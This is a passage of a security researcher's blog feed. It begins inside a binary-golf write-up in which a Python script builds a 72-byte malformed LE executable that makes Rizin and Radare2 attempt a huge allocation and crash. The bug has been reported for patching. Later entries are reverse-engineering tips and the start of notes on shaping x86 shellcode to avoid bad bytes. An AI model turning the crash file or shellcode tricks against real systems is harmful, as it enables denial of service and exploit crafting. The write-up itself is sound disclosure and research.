impmodcnt = 0x0,
impproc = 0x0,
pagesum = 0x0,
datapage = 0x0,
preload = 0x0,
nrestab = 0x0,
cbnrestab = 0x0,
nressum = 0x0,
autodata = 0x0,
debuginfo = 0x0,
debuglen = 0x0,
instpreload = 0x0,
instdemand = 0x0,
heapsize = 0x0,
stacksize = 0x0
}
&lt;/code>&lt;/pre>&lt;p>The very last member &lt;code>h-&amp;gt;objcnt&lt;/code> has 0xa335047 entries. This coincides with the &amp;ldquo;GP3\n&amp;rdquo; at the end
of the PoC file.&lt;/p>
&lt;p>Rizin will now try to allocate 0xa335047 new objects to copy data from the file into memory.
This is of course, not ideal.&lt;/p>
&lt;p>I originally found a bug in the same part of the code, but using the Object Page Table entries to
cause a large number of object allocations rivaling that of modern applications such as Slack.
This bug was further into the loop and required a larger file size, so I experimented with using
a huge value in the objcnt header field to reduce the file size. This resulted in triggering the
bug earlier in the loop, and the program didn&amp;rsquo;t reject it based on it&amp;rsquo;s size being smaller than
the allocated header object.&lt;/p>
&lt;p>Sadly this won&amp;rsquo;t result in code execution, but it does have the same effect on other versions of
Radare2 and Rizin, which achieves my initial goal.&lt;/p>
&lt;p>The script I used to generate and test the PoC file is as follows:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">struct&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">hashlib&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">writeBin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">h&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">outfile&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">h&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34;.bin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">outfile&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;wb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">close&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">outfile&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;LE&amp;#34;&lt;/span> &lt;span class="c1"># 00h -- Signature&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;MO&amp;#34;&lt;/span> &lt;span class="c1"># 02h -- B-ORD/W-ORD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;NADE&amp;#34;&lt;/span> &lt;span class="c1"># 04h -- Format Level&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;, &amp;#34;&lt;/span> &lt;span class="c1"># 08h -- CPU Type&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;LU&amp;#34;&lt;/span> &lt;span class="c1"># 0Ah -- OS Type&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;H LU&amp;#34;&lt;/span> &lt;span class="c1"># 0Ch -- Module Version&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;H, L&amp;#34;&lt;/span> &lt;span class="c1"># 10h -- Module Flags&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;EMON&amp;#34;&lt;/span> &lt;span class="c1"># 14h -- Module # of pages&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;ADE &amp;#34;&lt;/span> &lt;span class="c1"># 18h -- EIP Object&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">LE&amp;#34;&lt;/span> &lt;span class="c1"># 1Ch -- EIP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;MONA&amp;#34;&lt;/span> &lt;span class="c1"># 20h -- ESP Object #&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;DE, &amp;#34;&lt;/span> &lt;span class="c1"># 24h -- ESP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;LUH &amp;#34;&lt;/span> &lt;span class="c1"># 28h -- Page Size&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;LUH,&amp;#34;&lt;/span> &lt;span class="c1"># 2Ch -- Page Offset Shift&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34; LEM&amp;#34;&lt;/span> &lt;span class="c1"># 30h -- Fixup Section Size&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;ONAD&amp;#34;&lt;/span> &lt;span class="c1"># 34h -- Fixup Section Checksum&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;E &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="c1"># 38h -- Loader Section Size&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\r\x00&lt;/span>&lt;span class="s2">HE&amp;#34;&lt;/span> &lt;span class="c1"># 3Ch -- Loader Section Checksum&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;Y BG&amp;#34;&lt;/span> &lt;span class="c1"># 40h --Object Table Offset&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">b&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;GP3&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="c1"># 44h --Object Count&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">hashlib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sha256&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">update&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">shorthash&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">writeBin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">shorthash&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="scoring">Scoring&lt;/h2>
&lt;pre tabindex="0">&lt;code>File Size: 72
4096 - 72 = 4024
+ 1024 = 5048 (Additional points for writeup)
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Final Score:&lt;/strong> 5048&lt;/p>
&lt;p>This is currently being patched: &lt;a href="https://github.com/rizinorg/rizin/issues/2993">https://github.com/rizinorg/rizin/issues/2993&lt;/a>&lt;/p>
&lt;h2 id="end">End&lt;/h2>
&lt;p>My BGGP3 entry was a lot different than what I originally planned. I found two other really cool
things that I want to explore more in depth, so this was my backup. I am really happy to see how
many people did their own projects this year. The goal was to challenge you to explore things that
you might not normally look into, and give people a reason to go deep with things that most people
would just consider an annoyance.&lt;/p>
&lt;p>Shoutout: gren, xcellerator, hermit, dnz, Ange Albertini and qkumba for the ancient wisdom, tmp.0ut,
and everyone who did BGGP&lt;/p></description></item><item><title>tmpout/elfs</title><link>https://n0.lol/tmpout-elfs/</link><pubDate>Thu, 25 Aug 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/tmpout-elfs/</guid><description>&lt;p>Repo: &lt;a href="https://github.com/tmpout/elfs">https://github.com/tmpout/elfs&lt;/a>&lt;/p></description></item><item><title>yxd - Yuu's heX Dumper</title><link>https://n0.lol/yxd/</link><pubDate>Tue, 23 Aug 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/yxd/</guid><description>&lt;p>Repo: &lt;a href="https://github.com/netspooky/yxd">https://github.com/netspooky/yxd&lt;/a>&lt;/p>
&lt;p>Updates:&lt;/p>
&lt;ul>
&lt;li>Added an API so you can use yxd from Python scripts&lt;/li>
&lt;/ul></description></item><item><title>Using Vim as a hex editor</title><link>https://n0.lol/notes/vim-hex-editor/</link><pubDate>Fri, 29 Jul 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/vim-hex-editor/</guid><description>&lt;h1 id="vim-hex-editor-tutorial">Vim Hex Editor Tutorial&lt;/h1>
&lt;p>Open file, type &lt;code>:%!xxd&lt;/code> to enter hex mode&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/209995509-af56ec0e-5924-42c7-9bac-96da91ee0d27.png" alt="Vim with &amp;ldquo;This is some text&amp;rdquo;, typing the command :%!xxd">&lt;/p>
&lt;p>Optional - Turn on hex syntax highlighting with &lt;code>:set ft=xxd&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/209995529-2300f14a-d348-4678-8173-dc0fab77fce1.png" alt="vim in hex editor mode, syntax highlighting done with :set ft=xxd">&lt;/p>
&lt;p>Make changes to the hex bytes&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/209995559-ba2505a1-cd76-439b-86bb-88f1332a035b.png" alt="Making changes to the hex dump in vim">&lt;/p>
&lt;p>Leave hex mode with &lt;code>:%!xxd -r&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/209995593-eb863ae7-f01b-4898-a18c-da306bca9a35.png" alt="Switching out of hex mode with :%!xxd -r">&lt;/p>
&lt;p>Exit vim with &lt;code>:call libcallnr(&amp;quot;libc.so.6&amp;quot;,&amp;quot;exit&amp;quot;,0)&lt;/code>&lt;/p>
&lt;p>TODO: Download pictures instead of linking&lt;/p></description></item><item><title>Python3.7+ Multi-arch .pyc dropper</title><link>https://n0.lol/python3-pyc-shellcode-dropper/</link><pubDate>Mon, 25 Jul 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/python3-pyc-shellcode-dropper/</guid><description>&lt;p>&lt;img src="https://n0.lol/python_blingee.gif" alt="">&lt;/p>
&lt;p>&lt;a href="https://forum.spacehey.com/topic?id=89320">https://forum.spacehey.com/topic?id=89320&lt;/a>&lt;/p></description></item><item><title>BGGP3 Announcement</title><link>https://n0.lol/bggp3-announcement/</link><pubDate>Fri, 17 Jun 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp3-announcement/</guid><description>&lt;p>&lt;img src="https://n0.lol/bggp3.jpeg" alt="">&lt;/p>
&lt;p>&lt;a href="https://tmpout.sh/bggp/3/">https://tmpout.sh/bggp/3/&lt;/a>&lt;/p></description></item><item><title>kompaktblk Figlet Font</title><link>https://n0.lol/figlet-kompaktblk/</link><pubDate>Wed, 25 May 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/figlet-kompaktblk/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/uJunk/blob/main/art/asciifonts/kompaktblk.flf">https://github.com/netspooky/uJunk/blob/main/art/asciifonts/kompaktblk.flf&lt;/a>&lt;/p></description></item><item><title>uBLK Figlet Font</title><link>https://n0.lol/figlet-ublk/</link><pubDate>Wed, 25 May 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/figlet-ublk/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/uJunk/blob/main/art/asciifonts/ublk.flf">https://github.com/netspooky/uJunk/blob/main/art/asciifonts/ublk.flf&lt;/a>&lt;/p></description></item><item><title>Wireshark is a lolbin</title><link>https://n0.lol/wireshark-lolbin/</link><pubDate>Thu, 19 May 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/wireshark-lolbin/</guid><description>&lt;p>&lt;a href="https://forum.spacehey.com/topic?id=84164">https://forum.spacehey.com/topic?id=84164&lt;/a>&lt;/p></description></item><item><title>RE Tips: Common String Representations</title><link>https://n0.lol/notes/re-tips-string-representations/</link><pubDate>Mon, 09 May 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/re-tips-string-representations/</guid><description>&lt;h1 id="re-tips-common-string-representations">RE Tips: Common String Representations&lt;/h1>
&lt;p>&lt;em>Originally posted 2022-05-09&lt;/em>&lt;/p>
&lt;p>Strings are a good way of determining the layout of an unknown binary blob. If you can figure out how the strings are stored, you can use it as an anchor to map out other structures around them.&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/209995327-7e24d760-de7a-41c0-8ab3-28fdc5dfcb7c.png" alt="image">&lt;/p>
&lt;p>Image Description:&lt;/p>
&lt;p>A text file explaining the common string representations.&lt;/p>
&lt;ul>
&lt;li>Length First, where the length of the string is stored before the string.&lt;/li>
&lt;li>Null Terminated, where each string ends in a null byte.&lt;/li>
&lt;li>Fixed Width, where each field is a fixed size. These can also have padding if they need to be aligned to a certain amount of bytes, AKA they must be divisible by a certain number.&lt;/li>
&lt;/ul></description></item><item><title>Packets Remystified: Broadcast Brujería</title><link>https://n0.lol/broadcast-brujeria/</link><pubDate>Fri, 15 Apr 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/broadcast-brujeria/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/protocols/tree/main/broadcast_brujeria">https://github.com/netspooky/protocols/tree/main/broadcast_brujeria&lt;/a>&lt;/p></description></item><item><title>84 byte aarch64 ELF</title><link>https://n0.lol/aarch64-84-bytes/</link><pubDate>Tue, 22 Feb 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/aarch64-84-bytes/</guid><description>&lt;p>tmp.0ut Article: &lt;a href="https://tmpout.sh/2/14.html">https://tmpout.sh/2/14.html&lt;/a>&lt;/p></description></item><item><title>BGGP2 Wrap Up</title><link>https://n0.lol/bggp2-wrapup/</link><pubDate>Tue, 22 Feb 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp2-wrapup/</guid><description>&lt;p>&lt;a href="https://tmpout.sh/2/13.html">https://tmpout.sh/2/13.html&lt;/a>&lt;/p></description></item><item><title>Elf Binary Mangling Pt. 4: Limit Break</title><link>https://n0.lol/elf-binary-mangling-4/</link><pubDate>Tue, 22 Feb 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/elf-binary-mangling-4/</guid><description>&lt;p>This is the version I did for tmp.0ut Volume 2.&lt;/p>
&lt;p>For the full series see &lt;a href="https://n0.lol/ebm/">/ebm/&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://tmpout.sh/2/11.html">https://tmpout.sh/2/11.html&lt;/a>&lt;/p></description></item><item><title>Some ELF Parser Bugs</title><link>https://n0.lol/some-elf-parser-bugs/</link><pubDate>Tue, 22 Feb 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/some-elf-parser-bugs/</guid><description>&lt;p>tmp.0ut Article: &lt;a href="https://tmpout.sh/2/3.html">https://tmpout.sh/2/3.html&lt;/a>&lt;/p></description></item><item><title>An ELF Palindrome for AMD64</title><link>https://n0.lol/elf-palindrome-bggp1/</link><pubDate>Tue, 15 Feb 2022 12:00:00 -0400</pubDate><guid>https://n0.lol/elf-palindrome-bggp1/</guid><description>&lt;p>&lt;a href="https://www.alchemistowl.org/pocorgtfo/pocorgtfo21.pdf">https://www.alchemistowl.org/pocorgtfo/pocorgtfo21.pdf&lt;/a>&lt;/p></description></item><item><title>netspooky/importsort</title><link>https://n0.lol/importsort/</link><pubDate>Sun, 10 Oct 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/importsort/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/importsort">https://github.com/netspooky/importsort&lt;/a>&lt;/p></description></item><item><title>BGB Emulator Link Cable Protocol Dissector</title><link>https://n0.lol/bgb-link-dissector/</link><pubDate>Sat, 09 Oct 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/bgb-link-dissector/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/dissectors/blob/main/bgblink.lua">https://github.com/netspooky/dissectors/blob/main/bgblink.lua&lt;/a>&lt;/p></description></item><item><title>koholint Figlet Font</title><link>https://n0.lol/figlet-koholint/</link><pubDate>Wed, 06 Oct 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/figlet-koholint/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/uJunk/blob/main/art/asciifonts/koholint.flf">https://github.com/netspooky/uJunk/blob/main/art/asciifonts/koholint.flf&lt;/a>&lt;/p></description></item><item><title>six-fo Figlet Font</title><link>https://n0.lol/figlet-six-fo/</link><pubDate>Wed, 06 Oct 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/figlet-six-fo/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/uJunk/blob/main/art/asciifonts/six-fo.flf">https://github.com/netspooky/uJunk/blob/main/art/asciifonts/six-fo.flf&lt;/a>&lt;/p></description></item><item><title>BGGP2 Results</title><link>https://n0.lol/bggp2-results/</link><pubDate>Fri, 24 Sep 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp2-results/</guid><description>&lt;p>Link: &lt;a href="https://github.com/binarygolf/BGGP/tree/main/2021">https://github.com/binarygolf/BGGP/tree/main/2021&lt;/a>&lt;/p></description></item><item><title>ns.bggp2021.asm</title><link>https://n0.lol/bggp2-pe-js-pdf-polyglot/</link><pubDate>Thu, 16 Sep 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp2-pe-js-pdf-polyglot/</guid><description>&lt;p>&lt;img src="https://n0.lol/ns.bggp2021.asm.png" alt="">&lt;/p>
&lt;p>Source Code: &lt;a href="https://github.com/netspooky/golfclub/blob/master/windows/ns.bggp2021.asm">https://github.com/netspooky/golfclub/blob/master/windows/ns.bggp2021.asm&lt;/a>&lt;/p></description></item><item><title>RE Tips: Timestamps</title><link>https://n0.lol/notes/re-tips-timestamps/</link><pubDate>Fri, 10 Sep 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/re-tips-timestamps/</guid><description>&lt;h1 id="re-tips-timestamps">RE Tips: Timestamps&lt;/h1>
&lt;p>&lt;em>Originally Posted: 2021-09-10&lt;/em>&lt;/p>
&lt;p>If you&amp;rsquo;re analyzing an unknown protocol or binary format, know your time stamps!&lt;/p>
&lt;p>Let&amp;rsquo;s say you know the pcap (or file) was created in the last 24 hours.&lt;/p>
&lt;p>Right now it&amp;rsquo;s 1631293496 in Unix time.&lt;/p>
&lt;ul>
&lt;li>In hex: 613B9038&lt;/li>
&lt;li>In ASCII: &amp;ldquo;a;\x908&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>&lt;a href="https://unixtimestamp.com">https://unixtimestamp.com&lt;/a>&lt;/p>
&lt;p>If we go back exactly 24 hrs, the time is 1631221496.&lt;/p>
&lt;ul>
&lt;li>In hex: 613A76F8&lt;/li>
&lt;li>In ASCII: &amp;ldquo;a:v\xF8&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>Now you can look in the hex dump for &amp;ldquo;a&amp;rdquo; and either &amp;ldquo;:&amp;rdquo; or &amp;ldquo;;&amp;rdquo; beside it. If you don&amp;rsquo;t know the endianness, this can be a good way to figure that out. Can also align fields around it.&lt;/p>
&lt;p>Not all protocols or file formats will have timestamps included, but it&amp;rsquo;s common enough that it&amp;rsquo;s a good thing to search for, especially if there are few strings.&lt;/p>
&lt;p>There are lots of other timestamp formats that are helpful to know. Familiarize yourself for gr8 victory.&lt;/p>
&lt;p>Example: Given this, if found a timestamp, you can probably assume that there&amp;rsquo;s &lt;em>some&lt;/em> of boundary at 0xC1. It&amp;rsquo;s lil endian, and now you can trace other values.&lt;/p>
&lt;ul>
&lt;li>Is 0xA5 a virtual address?&lt;/li>
&lt;li>Is 0xB9 a boolean?&lt;/li>
&lt;li>Is 0xCB a bit pattern?&lt;/li>
&lt;/ul>
&lt;p>These are the questions you wanna ask.&lt;/p>
&lt;p>&lt;img src="https://user-images.githubusercontent.com/26436276/209995891-483dc310-bce2-41fa-b7dc-893b4a31149e.png" alt="highlighted hex dump that is described by the writeup">&lt;/p></description></item><item><title>PGStats Dissector</title><link>https://n0.lol/pgstats-dissector/</link><pubDate>Thu, 02 Sep 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/pgstats-dissector/</guid><description>&lt;p>&lt;a href="https://github.com/netspooky/dissectors/blob/main/pgstats.lua">https://github.com/netspooky/dissectors/blob/main/pgstats.lua&lt;/a>&lt;/p></description></item><item><title>Elf Binary Mangling Pt. 4: Limit Break</title><link>https://n0.lol/ebm/4/</link><pubDate>Wed, 07 Jul 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/ebm/4/</guid><description>&lt;p>&lt;a href="https://tmpout.sh/2/11.html">https://tmpout.sh/2/11.html&lt;/a>&lt;/p>
&lt;p>&lt;strong>TODO&lt;/strong> Convert to markdown&lt;/p></description></item><item><title>x86 Shellcode Tricks</title><link>https://n0.lol/notes/x86-shellcode-tricks/</link><pubDate>Fri, 02 Jul 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/x86-shellcode-tricks/</guid><description>&lt;h1 id="shellcode-tricks">Shellcode Tricks&lt;/h1>
&lt;p>I originally wrote this to send to a friend who had some questions about crafting x86 payloads. It is by no means exhaustive.&lt;/p>
&lt;ul>
&lt;li>Solid reference &lt;a href="https://www.felixcloutier.com/x86/index.html">https://www.felixcloutier.com/x86/index.html&lt;/a>&lt;/li>
&lt;li>Hex Calculator &lt;a href="https://n0.lol/hc/">https://n0.lol/hc/&lt;/a>&lt;/li>
&lt;li>WinREPL for x86 Assembly &lt;a href="https://github.com/zerosum0x0/WinREPL/releases/">https://github.com/zerosum0x0/WinREPL/releases/&lt;/a>&lt;/li>
&lt;li>Online Assembler &lt;a href="https://defuse.ca/online-x86-assembler.htm">https://defuse.ca/online-x86-assembler.htm&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="avoiding-bad-chars">Avoiding bad chars&lt;/h2>
&lt;h3 id="shifting-left-to-avoid-bad-chars">Shifting left to avoid bad chars&lt;/h3>
&lt;p>Let&amp;rsquo;s say you want to put 0x400 in EAX&lt;/p>
&lt;p>Doing it like this yields null bytes&lt;/p>
&lt;pre>&lt;code>b8 00 04 00 00 mov eax, 0x400
66 b8 00 04 mov ax, 0x400
&lt;/code>&lt;/pre>
&lt;p>So you could do it like:&lt;/p>
&lt;pre>&lt;code>xor eax, eax
inc eax
shl eax, 0x0A
&lt;/code>&lt;/pre>
&lt;p>But this yields a potential bad char: 0xA&lt;/p>
&lt;p>Shift past the bounds of EAX and end up on the same spot by adding 32 (0x20) to your shift parameter. This works because we know that EAX is 32 bits, so adding 32 will land you in the same location.&lt;/p>
&lt;p>If you have a 0x1 in EAX&lt;/p>
&lt;pre>&lt;code>xor eax, eax
inc eax
&lt;/code>&lt;/pre>
&lt;p>Any of these will give you the 0x400 you are looking for&lt;/p>
&lt;pre>&lt;code>shl eax, 0x2a
shl eax, 0x4a
shl eax, 0x6a
etc..
&lt;/code>&lt;/pre>
&lt;ul>
&lt;li>SHR shifts things out of the register, so it won&amp;rsquo;t work for this&lt;/li>
&lt;li>There&amp;rsquo;s other ways to do this with ROR/ROL&lt;/li>
